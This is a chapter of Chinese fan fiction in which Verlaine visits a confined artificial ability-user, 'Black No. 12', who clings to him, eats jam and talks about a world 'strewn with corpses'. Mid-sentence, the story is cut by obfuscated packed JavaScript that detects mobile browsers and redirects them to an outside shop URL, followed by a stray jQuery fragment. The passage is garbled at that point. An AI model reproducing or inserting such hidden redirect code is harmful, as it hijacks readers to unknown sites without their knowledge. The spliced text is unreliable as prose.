【4】
魏尔伦听到的是马塞尔传来的转述版本。
当时他在做传统的力量训练,消息从门口传进来的时候他正在换握法,耳边断断续续飘进来几句话:“走廊那边”、“黑之十二号”、“全趴了”、“不知道几个人”、“听说只是被锤成了小饼饼”。
魏尔伦疑惑:“……居然只是把人锤成了小饼饼吗。”
这句话让训练室瞬间安静了。
与魏尔伦同用训练室的马塞尔缓慢地将哑铃放回架子上,多余动作一个都没有,非常安静。
旁边两个不认识的同期表情也从疑惑变成了客气,再变成了恭顺的沉默。
魏尔伦并没有留意这些细微的变化,同僚讨论却悄悄变了方向。
“我说了不招惹就没事的!”
“不是!我说,你听见他刚才那语气了吗?他说‘只是’。只是锤成小饼饼。他在可惜什么啊?魏尔伦在可惜那个人工超越者下手太轻了吗!见鬼了。”
“波德莱尔带出来的,你指望正常?”
“也对——”
与此同时,伏尔泰用两根手指压住一份需要签字的文件推过去,视线钉在波德莱尔脸上,神色介于困惑与拷问之间。
波德莱尔察觉到这道目光,慢条斯理从上衣口袋里抽出钢笔拧下笔帽,迎上对方的目光。
“有问题?”
“你的学生真的没问题吗?”伏尔泰疑惑。
“嗯。”
“你觉得没问题?”
“哪有问题?”波德莱尔在文件末尾签上名字,“嫉恶如仇,一视同仁。挺好的啊。”
伏尔泰沉默了。他看着波德莱尔的目光变得像看一个病入膏肓还觉得自己很健康的人。
只可惜,这种症状在巴黎公社里太常见了,常见到已经不值得花费额外的口舌。
他收回文件,端起自己的茶抿一口,眼神放回杯沿上方的空间。
“我说你们师徒俩,迟早把公社地基打穿。”
但黑之十二号还是被关起来了。
这个决定几乎没有什么争议,公社上层在事发后连夜开了会,结论简洁明了:在没有监管机制的前提下,一个能无差别释放重力场且物理手段无法约束的人工异能体,不能留在公共区域。
禁闭室在公社东翼地下一层,编号S-0,是特制的异能者隔离房。
墙壁嵌了异能抑制器,附带被动压制回路,理论上能削弱大部分主动型异能。
房间面积不大,仅有一张床一张桌一把椅子,洗漱间在角落,铁门上的观察窗是单向的。
条件不算差,严格来说,魏尔伦觉得比梅斯乡下那间破木屋还好不少。
只不过门锁是从外面上的。
魏尔伦听到这个安排的时候正准备去找波德莱尔。他还没开口,波德莱尔先抬手制止了:“他被关起来是摆给其他人看的。他只要想出来,那几层抑制器顶不住五秒。”
“那你什么意思。”
“两天,两天之后我再找个借口放出来。”波德莱尔揉着太阳穴,“这两天你也别闲着——去探望探望,他现在愿意见的人只有你。”
魏尔伦站在办公室门口沉默了好一阵。
“这也是任务的一部分?”
波德莱尔抬起头,蓝眼睛在暖色调的办公室里显得格外冷静:“不是,这是你自己的事。”
禁闭室的走廊又窄又长。
空气里飘着不知名清洁剂留下的苦涩气味,地砖是深灰色,踩上去触感硬邦邦的。
魏尔伦沿着走廊往里走,头顶的灯泡间歇性地闪烁,走廊两侧的房间大多空着,门缝底下透出的灯光很少,S-0在倒数第二间。
廊底倒数第二扇铁门的观察窗透出白炽灯管均匀的照射。
魏尔伦透过观察窗往里看了第一眼。
金发少年盘腿坐在床上,背靠墙壁,搪瓷杯放在膝盖上,杯子里有果酱。
公社的人显然也摸到了一点投喂的门路。
少年此刻低头用勺子搅着杯里的紫色糊状物,场景跟几天前在里昂地下实验室里如出一辙。
只不过实验服换成了一件灰色的囚服式样的宽松上衣,领口还是大得能看见锁骨,光脚踩在床单上,脚趾偶尔蜷一下。
没什么特别的情绪流露,但魏尔伦看见了对方的滞闷。
魏尔伦抬手,指节叩了两下门。
金发少年抬头,目光穿过单向玻璃,他把杯子放到一边,跳下床,光脚跑到门边,脸贴在观察窗内侧。
魏尔伦打开门。
铁门比看起来更沉,门开到一半,一道淡金色的光已经撞到了他胸口上。
金发少年低着头钻进魏尔伦肩窝里,头顶抵着他的锁骨,头发里残留着一股淡淡的试剂消毒液气味,混合了蓝莓果酱的甜。
灰色囚服在两人之间摩擦出轻微的褶皱声响,少年的手臂从下方环上来攥住魏尔伦后腰的衣料,力道大到指节隔着面料在皮肤上顶出痕迹。
“魏尔伦。”
声音闷在衣服里,被织物过滤之后听起来钝钝的。
魏尔伦在门口僵了好几秒,双手悬在半空没有及时落下去,下垂的角度显示出某种无从应对的茫然。
然后右手落在少年后脑勺上,指腹轻轻地蹭过头发的触感,少年金色的发丝时发现比看上去更柔软,完全没有本人的锐利。
“抱歉,我这几日有课业。”
少年的脸从他胸口抬起来,蓝眼睛在近距离下显得更加透亮,鼻尖距离他的下巴不到一拳。
“没关系,”他说,“我可想你了。”
语气平淡,表情认真。
太阳从东边升起,水往低处流,于是我想你了。
他拽着魏尔伦的衣角把人往房间里拉,力道不大但态度坚决,好像魏尔伦是他捡回来的猫,终于知道回家了,得先拽进门再说。
魏尔伦被拉进禁闭室,铁门在身后缓慢合拢。
椅子只有一把,他坐了,少年只能到床上盘腿坐,就坐在地上,抱着搪瓷杯靠在他腿边,仰头看着他的脸,认真观察了大概有三四息的功夫。
“你瘦了。”
“这才几天啊。”
“几天吗?我感觉很久了。”
少年舀了一口果酱塞进嘴里,腮帮子鼓起来,含含糊糊地继续输出:“这里的人一点也不好。跟他们说话像跟牧神养的观赏植物说话。只有吃的还行,果酱是波德莱尔给的。”
他对波德莱尔的全部好感显然全集中在果酱提供者这个身份上。
魏尔伦自动忽略了波德莱尔的果酱外交行为,切入正题:“老师说会尽快给你安排监护人。”
搪瓷杯放下的声响清脆利落。
少年仰起头盯着他,“什么监护人。我不要那个人,我只想要你——”
魏尔伦的下巴往回收了一下。
耳根发热的速度快得让声音都没能组织出一个成形的回句。
他在自己原本身处的世界是单亲家庭长大的孩子。
母亲把全部精力耗费在机械性的重复劳动里换取两个人的生存基础,他学会的第一件事就是不表达也不惹麻烦。
到了日本之后语言障碍和肤色差异让他从沉默变成了更沉默,学校里没有人特别讨厌他,也没有人特别需要他。
穿越到这个二十世纪之后情况更糟:家暴父亲提供了情感荒漠化的最后一次催化,母亲的爱深沉但也寡言,公社更没有一门课教过他如何面对情感表达。
只可惜,相较于魏尔伦的害羞,少年本人并没有意识到自己说了什么了不得的话。
说完后,少年坐在地上继续吃果酱,腮帮子一鼓一鼓的,在发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733140|208990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现魏尔伦半天没接话,他拧了下眉头,勺子停在嘴边,蓝眼睛往上斜视着他的方向。
“你脸红了。”
“没有。”
“红了,耳根红了。”他把勺子压在下唇上压出一点凹陷,眼睛弯了一点点弧度,“红的,热的。”
魏尔伦把脸撇开,等热度从颧骨上褪下去。
少年没有放过他,保持着同一个姿势观察他的耳朵。
他对魏尔伦的在意跟他对其他人的不在意形成了某种极为极端的反差。
过了好一阵魏尔伦把脸转回来,垂眼看着坐在地上的金发少年。灯光把他每一根头发都照得透亮,宽松囚服下露出半截肩膀的轮廓。
他就这么大喇喇地占着这片灰色禁闭室的冷硬空间,兴致盎然地吃着果酱打量着魏尔伦的耳朵。
别人看他是可怜,但他自己大概不觉得自己需要被人可怜。
魏尔伦从椅子上滑下来坐到他旁边,后背靠着铁架床的床沿。
“你的名字,”少年又舀了一勺果酱,“是我听过最好听的。”
魏尔伦偏过头看他,唇边牵出一条极浅的笑痕,他摇了一下头。
“保尔,”他说,“法国遍地都是。玛丽,法国更加遍地都是。魏尔伦——在梅斯随便找个教堂翻一翻花名册,能翻出一打。”
少年没有反驳,他把勺子放回搪瓷杯里,双手捧起杯子放在膝盖上。蓝眼睛在灯光下泛着一层水色的光泽。
“外面的世界,”他开口道,“和我以前想的一点也不一样。”
话题拐弯拐得猝不及防,魏尔伦顿了一下才接住:“你以前想的是什么样?”
少年把脸转过来,一字一顿道:“尸横遍野。”
禁闭室静了好几个呼吸。
少年就那样轻描淡写地说了四个字。
牧神给他的全部教育就是把世界简化成一个足够好拆的积木模型——尸横遍野是标准答案,安静和平是错误选项。
他对“世界”的认知从一开始就被压扁在这个单一的维度里,就像他的重力场压扁过走廊里那他认为不知天高地厚的研究员。
魏尔伦收回视线,垂下眼皮。
二十世纪法兰西第三共和国表面歌舞升平底下涌动着多少暗流,权力倾轧、异能纷争、国与国之间不动声色的绞杀——这些他进巴黎公社这四年里一件一件看得很清楚。
他对黑之十二号脑子里那幅末日图景评价不高,那确实是牧神建立的认知牢笼里最狭窄的一条通道。
但他什么都没有纠正。
“很糟糕的想法。”他打住了评价。
少年歪头看他,似乎在等下文,不过他等来的下一句让他瞳孔骤然收紧了一瞬。
“但哪怕是巴黎尸横遍野——”
魏尔伦停顿,侧过脸,绿眼睛回望住那谭湖水。
“哪怕巴黎尸横遍野。”
他在重复同一个前提,并且表明在这个前提之下他没有用否定句收尾。
坦白来说,一个公社成员的立场说这话是有些荒唐的。
但两个人此刻都不在乎,不在乎立场,也不在乎禁闭室内那隐藏的摄像头。
少年看着他,蓝眼睛里的情绪在那一瞬变得复杂,他知道面前这个人说的每一个字都是当真的。
从他第一天在里昂地下实验室见到魏尔伦开始,这个人就没对他说过骗人的话。
他把搪瓷杯放到一边,身体往旁边一歪,脑袋不打招呼地枕在魏尔伦腿上。
魏尔伦低头,对方金色发丝铺在他膝盖上散落的夕阳,少年的呼吸放得很轻。
“……巴黎本来就差不多是这样了。”魏尔伦如是说。
少年枕在他腿上没有动,唇角扬起一个软绵绵、心满意足、毫无防备的笑,他自己也说不清楚为什么这~么高兴,但就是很高兴。